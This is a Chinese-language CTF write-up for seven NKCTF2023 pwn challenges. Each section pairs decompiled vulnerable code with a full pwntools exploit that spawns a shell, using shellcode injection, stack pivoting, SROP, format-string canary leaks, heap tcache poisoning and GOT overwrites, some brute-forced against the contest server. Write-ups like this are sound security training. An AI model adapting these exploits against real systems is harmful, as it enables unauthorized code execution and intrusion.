NKCTF2023

文章发布时间:

最后更新时间:

文章总字数:
4.3k

预计阅读时间:
23 分钟

打的比较坐牢 主要还是有的题目没有给libc文件

题目质量还是挺不错的 扩展了思路

ezshellcode

这题老熟人了哈哈 还记得刚开始学pwn的时候 写的第一篇wp就是猜数字 顺便这题真的被坑了一手 一开始没仔细看题目 看到随机数就以为时间当种子 爆破半天发现是固定种子 默认1

签到题 不解释了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
from ctypes import *
from LibcSearcher import*
io = process("./pwn")
#io = remote("node.yuzhian.com.cn",32980)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./刷题/libc-2.32.so")
#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./nk")
def debug():
gdb.attach(io)
pause()

io.recvuntil("u can make it in 5 min!")
libc.srand(1)
buf = libc.rand() % 100 + 1
payload = cyclic(buf)+asm(shellcraft.sh())
io.send(payload)
io.recvuntil("good luck!")
io.interactive()

a_story_of_a_pwner

image-20230326220255628

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
int v5; // [rsp+8h] [rbp-8h] BYREF
int v6; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("today, I want to tell you some stories about myself.");
puts("I have a lot of stories, which one do you want to hear?");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
if ( opt != 1 )
break;
acm(&v6);
v6 = 1;
}
if ( opt != 2 )
break;
ctf(&v5);
v5 = 1;
}
if ( opt != 3 )
break;
love(&v4);
v4 = 1;
}
if ( opt != 4 )
break;
if ( v6 && v5 && v4 )
heart();
else
warning(&v6, &v5, &v4);
}
puts("wrong choice.");
puts("you hurt me so much.");
puts("DO YOU THINK IT'S FUNNY TO CHOOSE INCORRECT OPTION?");
puts("BYE.");
return 0;
}

一开始还以为是堆 跟进一下每个函数发现还是比较简单的

acm ctf love三个函数每个函数进去可以往bss段上写0x8字节的数据 并且这三个位置是相邻的

同时在函数执行完以后 会各自把一个值设置为1

接着要进入heart函数的分支有两种情况 一种是值都为1 也就是已经执行完3个函数了 还有一种就是没有全部执行完

跟进一下heart函数和warning函数

1
2
3
4
5
6
7
ssize_t heart()
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

puts("now, come and read my heart...");
return read(0, buf, 0x20uLL);
}

可以溢出0x16字节 也就够个栈迁移了 联想到之前可以往bss段写数据 那就是往那边迁移了

1
2
3
4
5
int warning()
{
puts("Before u read this, i think u should read first 3.");
return printf("I give it up, you can see this. %p\n", &puts);
}

直接送了puts函数的真实地址 那就好办了 接收一下 然后在bss段上构造system(“/bin/sh”) 随后迁移过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
from ctypes import *
from LibcSearcher import*
io = process("./pwn")
#io = remote("node.yuzhian.com.cn",37719)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./刷题/libc-2.32.so")
libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/lib
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./nk")
def debug():
gdb.attach(io)
pause()

io.recvuntil("> ")
io.sendline(b'4')
io.recvuntil("I give it up, you can see this. ")
puts_addr = int(io.recv(14),16)
success("puts_addr :"+hex(puts_addr))
libc_addr = puts_addr - libc.sym['puts']
success("libc_addr :"+hex(libc_addr))

rdi_addr = 0x0000000000401573
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
system_addr = libc_addr + libc.sym['system']
leave_addr = 0x000000000040139e
io.recvuntil("> ")
io.sendline(b'2')
io.send(p64(rdi_addr))
io.recvuntil("> ")
io.sendline(b'1')
io.send(p64(binsh_addr))
io.recvuntil("> ")
io.sendline(b'3')
io.send(p64(system_addr))


io.recvuntil("> ")
io.sendline(b'4')
io.recv()
io.recv()
onegadget_addr = libc_addr +0xe3b04
payload = cyclic(10)+p64(0x4050A0-8)+p64(leave_addr)
io.sendline(payload)
io.interactive()

ez_stack

image-20230326221210521

1
2
3
4
5
6
7
8
9
10
__int64 vuln()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_write(1u, nkctf, 0x26uLL);
v1 = sys_read(0, buf, 0x200uLL);
return 0LL;
}

隐约记得哪一年的国赛也有这种类型的题目 记得是srop来着 翻了翻之前的博客 发现还真是(所以写写博客还是有用的对吧)

ROPgadget看看能不能控制rax的值 果然发现了 那这一题就是srop了

image-20230326221335489

不过还需要找个地方写binsh字符串 所以先srop写一个read到bss段上 然后再getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import*
from ctypes import *
from LibcSearcher import*
io = process("./pwn")
#io = remote("node.yuzhian.com.cn",32980)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./刷题/libc-2.32.so")
libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/lib
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./nk")
def debug():
gdb.attach(io)
pause()

io.recv()
bss_addr= 0x404080+0x100
main_addr = elf.sym['main']
rax_15 = 0x0000000000401146
syscall_addr = 0x000000000040114e
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x200
frame.rip = syscall_addr
frame.rsp = bss_addr
payload = cyclic(0x18)+p64(rax_15)+p64(syscall_addr)+bytes(frame)
io.sendline(payload)
binsh_addr = bss_addr +264
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload = p64(rax_15)+p64(syscall_addr)+bytes(frame)+b'/bin/sh\x00'
# gdb.attach(io,'b *'+str(rax_15))
# pause(0)
io.sendline(payload)
io.interactive()

baby_rop

image-20230326221948588

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 vuln()
{
const char *format; // [rsp+8h] [rbp-118h]
char src[8]; // [rsp+10h] [rbp-110h] BYREF
char dest[8]; // [rsp+18h] [rbp-108h] BYREF
char v4[248]; // [rsp+20h] [rbp-100h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
strcpy(dest, "Hello, ");
puts("Welcome to the NKCTF message board!");
printf("What is your name: ");
my_read(src, 8LL);
format = strcat(dest, src);
printf(format);
puts("What are your comments and suggestions for the NKCTF: ");
my_read(v4, 256LL);
puts("Thank you, we will read your comments and suggestions carefully.");
return 0LL;
}

格式化字符串 顺便还可以往栈上写数据 不过并不能栈溢出 一开始确实没什么思路 不过后来发现main函数结束前的指令有点不一样

1
2
3
4
5
6
7
8
9
10
11
.text:000000000040138C                 endbr64
.text:0000000000401390 push rbp
.text:0000000000401391 mov rbp, rsp
.text:0000000000401394 mov eax, 0
.text:0000000000401399 call init
.text:000000000040139E mov eax, 0
.text:00000000004013A3 call vuln
.text:00000000004013A8 leave
.text:00000000004013A9 mov eax, 0
.text:00000000004013AE pop rbp
.text:00000000004013AF retn

image-20230326222527799

最后rsp指向的是环境变量那一块 然后我就想能不能破坏一下栈结构 看能不能利用写栈上0x100的字节构造一个rop链

然后就想到canary了嘛 调用___stack_chk_fail的话总归会对栈结构产生影响 再加上有格式化字符串漏洞 泄露canary还是小菜一碟的

1
2
3
4
5
6
7
8
io.recvuntil("What is your name: ")
# gdb.attach(io,'b *0x401340')
io.sendline(b'%41$p%p')
io.recv(7)
canary = int(io.recv(18),16)
success("canary :"+hex(canary))
stack_addr = int(io.recv(14),16)
success("stack_addr :"+hex(stack_addr))

计算一下偏移泄露canary 顺便不要浪费机会 顺便泄露一下栈地址 到时候还要用到binsh字符串呢

1
2
3
4
5
payload = p64(ret_addr)*30+p64(main_addr)+p64(canary)
gdb.attach(io,'b *0x40138B')
pause(0)
io.send(payload)
pause()

然后试着覆盖一下canary 你就会发现最后的rsp会乱偏 为了提高打通的效率 我们就多塞几个ret 这样确保可以返回到main函数

然后回到main函数以后 再次利用格式化字符串泄露libc基址 然后同样的办法构造system链就行了

顺便吐槽一下不给libc的行为 2.31 9.9的用libcsearch也查不到 一血就这样没了 就拿了个三血

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
from ctypes import *
from LibcSearcher import*
io = process("./pwn")
#io = remote("node.yuzhian.com.cn",34395)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF("./刷题/libc-2.32.so")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

io.recvuntil("What is your name: ")
# gdb.attach(io,'b *0x401340')
io.sendline(b'%41$p%p')
io.recv(7)
canary = int(io.recv(18),16)
success("canary :"+hex(canary))
stack_addr = int(io.recv(14),16)
success("stack_addr :"+hex(stack_addr))
io.recvuntil("What are your comments and suggestions for the NKCTF: ")
main_addr = elf.sym['main']
start_addr = elf.sym['_start']
ret_addr = 0x000000000040101a
rsp_addr = 0x000000000040140d
payload = p64(ret_addr)*30+p64(main_addr)+p64(canary)
io.send(payload)
io.recvuntil("What is your name: ")
io.sendline(b'%25$p')
addr = int(io.recvuntil("What",drop = True)[-14:],16)
success("addr :"+hex(addr))
#obj = LibcSearcher("_IO_2_1_stderr_",addr)
libc_addr = addr - libc.sym['_IO_2_1_stderr_']#obj.dump("_IO_2_1_stderr_")
success("libc_addr :"+hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
rdi_addr = 0x0000000000401413
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
payload = p64(ret_addr)*28+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+p64(canary)
io.sendline(payload)
io.recv()
io.interactive()

9961code

image-20230326223507795

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]

init(argc, argv, envp);
buf = (void *)(int)mmap((void *)0x9961000, 0x1000uLL, 7, 34, -1, 0LL);
puts("Last night i played touhou fuujinroku ~ Mountain of Faith\n");
puts("F**k! I failed and 9961 in the end!\n");
puts("In that case, you can only enter a very short shellcode!\n");
read(0, buf, 0x16uLL);
puts("I hope you can NMNB it!");
mprotect(buf, 0x1000uLL, 4);
JUMPOUT(0x9961000LL);
}

手写shellcode 一开始我是想着先构造mprotect 开一下0x9961000的可写可读权限 然后返回main函数重新构造read链 但是发现不行啊 开了pie不知道要怎么返回去 想了半天 问了其他师傅 学了一手直接打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import*
from ctypes import *
from LibcSearcher import*
io = process("./pwn")
#io = remote("node2.yuzhian.com.cn",36613)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF("./libc-2.32.so")
#libc = ELF("./locate")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

io.recvuntil("In that case, you can only enter a very short shellcode!")
shellcode = """
xor rsi,rsi
lea rdi,[r15+0xe]
cdq
mov ax,59
syscall
"""
# gdb.attach(io,'b *$rebase(0x139B)')
# pause(0)
io.send(asm(shellcode)+b'/bin/sh\x00')
io.recvuntil("I hope you can NMNB it!")
io.interactive()

学到了cdq这个指令 可以把eax第31位赋值给edx所有的bit 在这里也就是起到了清空rdx寄存器的作用

值得一题的就是本地死活打不通 但是远程能通 不知道什么情况

baby_heap

image-20230326224735286

这题堆开局就给我来一记重锤 用xclibc换libc版本的时候 运行提示段内存错误

image-20230326224848303

然后发现是libc没有换上 那就手动换一下吧

1
patchelf --replace-needed /lib/x86_64-linux-gnu/libc.so.6 /home/chen/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/ ./pwn

程序函数给齐了 add delete edit show

add函数最多申请0x100 delete函数置零了指针 不存在UAF edit函数存在一个字节的溢出 show函数可以打印出堆块内容

还真是easy_heap 这题用到的办法是我最开始学堆的时候用的 利用单字节溢出合并两个chunk 释放到unsortedbin中 然后再申请同样size的小chunk出来就存在chunk overlap 只不过中途会有些小问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(0,0x18)
add(1,0x40)
add(2,0x40)
for i in range(7):
add(3+i,0x90)

for i in range(7):
delete(3+i)

payload = cyclic(0x18)+b'\xa1'
edit(0,payload)
delete(1)
add(10,0x40)
edit(2,b'\x0a')
show(2)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-96-0xa
libc_addr = main_arena_addr - (libc.sym['__malloc_hook']+0x10)
free_hook = libc_addr + libc.sym['__free_hook']
system_addr = libc_addr + libc.sym['system']
success("libc_addr :"+hex(libc_addr))

一个是2.32的main_arena_addr+xxh末尾是\x00 所以要先覆盖成其他值

还有一点是接下来想再申请0x40的chunk 也就是chunk2 构成一个chunk overlap的时候 报错了

1
malloc(): unsorted double linked list corrupted

是因为此时unsortedchunk的fd域被破坏了

image-20230326225858709

那简单 复原一下就好了

1
2
3
4
5
6
7
edit(2,p64(main_arena_addr+96)*2)
add(11,0x40)
delete(11)
show(2)
key = u64(io.recvuntil("\x0a",drop = True).ljust(8,b'\x00'))
success("key :"+hex(key))
edit(2,p64(free_hook^key))

这时候就利用chunk overlap来实现tcachebin attack libc版本是2.32 所以还需要注意一下tcache的key机制

但是这时候却申请不出来free_hook的chunk

因为此时plmalloc认为这个链表中已经没有chunk了 前面的数值是0 再次申请不会去对应链表中查找 而是直接分配一个新的

image-20230326230202112

解决办法就是多释放几个进去就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import*
from ctypes import *
from LibcSearcher import*
io = process("./pwn")
#io = remote("ctf.comentropy.cn",8301)
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF("./libc-2.32.so")
#libc = ELF("./locate")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

def add(index,size):
io.recvuntil("Your choice: ")
io.sendline(b'1')
io.recvuntil("Enter the index: ")
io.sendline(str(index))
io.recvuntil("Enter the Size: ")
io.sendline(str(size))

def delete(index):
io.recvuntil("Your choice: ")
io.sendline(b'2')
io.recvuntil("Enter the index: ")
io.sendline(str(index))

def edit(index,content):
io.recvuntil("Your choice: ")
io.sendline(b'3')
io.recvuntil("Enter the index: ")
io.sendline(str(index))
io.recvuntil("Enter the content: ")
io.sendline(content)

def show(index):
io.recvuntil("Your choice: ")
io.sendline(b'4')
io.recvuntil("Enter the index: ")
io.sendline(str(index))

add(0,0x18)
add(1,0x40)
add(2,0x40)
for i in range(7):
add(3+i,0x90)

for i in range(7):
delete(3+i)

payload = cyclic(0x18)+b'\xa1'
edit(0,payload)
delete(1)
add(10,0x40)
edit(2,b'\x0a')
show(2)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-96-0xa
libc_addr = main_arena_addr - (libc.sym['__malloc_hook']+0x10)
free_hook = libc_addr + libc.sym['__free_hook']
system_addr = libc_addr + libc.sym['system']
success("libc_addr :"+hex(libc_addr))
edit(2,p64(main_arena_addr+96)*2)
add(11,0x40)
add(12,0x40)
add(13,0x40)
delete(11)
show(2)
key = u64(io.recvuntil("\x0a",drop = True).ljust(8,b'\x00'))
success("key :"+hex(key))
add(14,0x40)
delete(12)
delete(13)
delete(14)
edit(2,p64(free_hook^key))
add(15,0x40)
add(3,0x40)
edit(3,p64(system_addr))
edit(15,b'/bin/sh\x00')
delete(15)
io.interactive()

only_read

image-20230326230402154

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[64]; // [rsp+0h] [rbp-80h] BYREF
char s[64]; // [rsp+40h] [rbp-40h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x30uLL);
base_decode(s, s1);
if ( strcmp(s1, "Welcome to NKCTF!") )
return 0;
memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x30uLL);
base_decode(s, s1);
if ( strcmp(s1, "tell you a secret:") )
return 0;
memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x40uLL);
base_decode(s, s1);
if ( strcmp(s1, "I'M RUNNING ON GLIBC 2.31-0ubuntu9.9") )
return 0;
memset(s, 0, sizeof(s));
memset(s1, 0, sizeof(s1));
read(0, s, 0x40uLL);
base_decode(s, s1);
if ( !strcmp(s1, "can you find me?") )
next();
return 0;
}

这题实在是太坐牢了 我自己尝试的是ogg爆破 本地关了ASLR以后 写对偏移就通了 但是远程是死活爆破不通 最后换了个办法 可惜了 我觉得我ogg爆破的办法是真的奇才

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
from ctypes import *
from LibcSearcher import*
#io = process("./pwn")
#io = remote("node2.yuzhian.com.cn",35140)
#context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF("./libc-2.32.so")
#libc = ELF("./locate")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()


while True:
try:
io = remote("node2.yuzhian.com.cn",35140)
io.sendline(b'V2VsY29tZSB0byBOS0NURiE=\x00')
sleep(0.2)
io.sendline(b'dGVsbCB5b3UgYSBzZWNyZXQ6\x00')
sleep(0.2)
io.sendline(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45\x00')
sleep(0.2)
io.sendline(b'Y2FuIHlvdSBmaW5kIG1lPw==\x00')
sleep(0.2)
rbp_addr = 0x000000000040117d
leave_addr = 0x00000000004013c2
gadget1_addr = 0x401660
gadget2_addr = 0x401676
next_addr = 0x4013c4
payload = cyclic(0x38)+p64(gadget2_addr)
payload += cyclic(0x8)+p64(0)+p64(1)+p64(0)+p64(elf.got['setbuf'])+p64(8)+p64(elf.got['read'])
payload += p64(gadget1_addr)+p64(0)*7+p64(next_addr)
# gdb.attach(io,'b *0x4013E8')
# pause(0)
sleep(0.2)
io.send(payload)
io.send(p16(0x3afe) + p8(0xea))
payload = cyclic(0x38)+p64(rbp_addr)+p64(elf.got['setbuf']-0x8)+p64(leave_addr)
# gdb.attach(io,'b *'+str(rbp_addr))
# pause(0)
sleep(0.2)
io.send(payload)
sleep(0.2)
io.sendline(b'cat flag.txt')
flag = io.recv()
assert(len(flag)>0)
print(flag)
io.interactive()

except EOFError:
io.close()

就贴在这了吧 纪念一下死去的理想

说回正题 开局的那几个base64还是很好绕过的 要注意的是有的末尾要加了\x00 不然不知道为啥过不了strcmp

随后就是一个栈溢出 长度管够 但是只有这四个函数

image-20230326230725468

直接覆盖setbuf的got表为puts函数 然后把setbuf当puts使就行了

注意一下爆破脚本 在前面那一堆payload传输的中间要加sleep 不然会出现奇怪的问题 我就是这个问题卡了好久的远程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
from ctypes import *
from LibcSearcher import*
#io = process("./pwn")
#io = remote("node2.yuzhian.com.cn",31530)
#context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF("./libc-2.32.so")
#libc = ELF("./locate")
# context.arch = "i386"
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

while True:
try:
io = process("./pwn")
#io = remote("node2.yuzhian.com.cn",35140)
io.sendline(b'V2VsY29tZSB0byBOS0NURiE=\x00')
sleep(0.5)
io.sendline(b'dGVsbCB5b3UgYSBzZWNyZXQ6\x00')
sleep(0.5)
io.sendline(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45\x00')
sleep(0.5)
io.sendline(b'Y2FuIHlvdSBmaW5kIG1lPw==\x00')
sleep(0.5)
rbp_addr = 0x000000000040117d
leave_addr = 0x00000000004013c2
gadget1_addr = 0x401660
gadget2_addr = 0x401676
read_addr = 0x401090
rsi_r15 = 0x0000000000401681
rdi_addr = 0x0000000000401683
main_addr = 0x4013E9
ret_addr = 0x000000000040101a
next_addr = 0x4013c4
payload = cyclic(0x38)+p64(rdi_addr)+p64(0)+p64(rsi_r15)+p64(elf.got['setbuf'])*2+p64(elf.sym['read'])+p64(rdi_addr)+p64(elf.got['read'])+p64(elf.sym['setbuf'])+p64(next_addr)
# gdb.attach(io,'b *'+str(rdi_addr))
# pause(0)
io.send(payload)
sleep(0.5)
# pause()
# gdb.attach(io,'b *0x4013C4')
# pause(0)
io.send(p16(0x4420))
read_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_addr = read_addr - libc.sym['read']
success("libc_addr :"+hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + libc.search(b"/bin/sh").__next__()
payload = cyclic(0x38)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
io.send(payload)
io.sendline(b'cat flag.txt')
flag = io.recv()
assert(len(flag)>0)
print(flag)
io.interactive()

except EOFError:
io.close()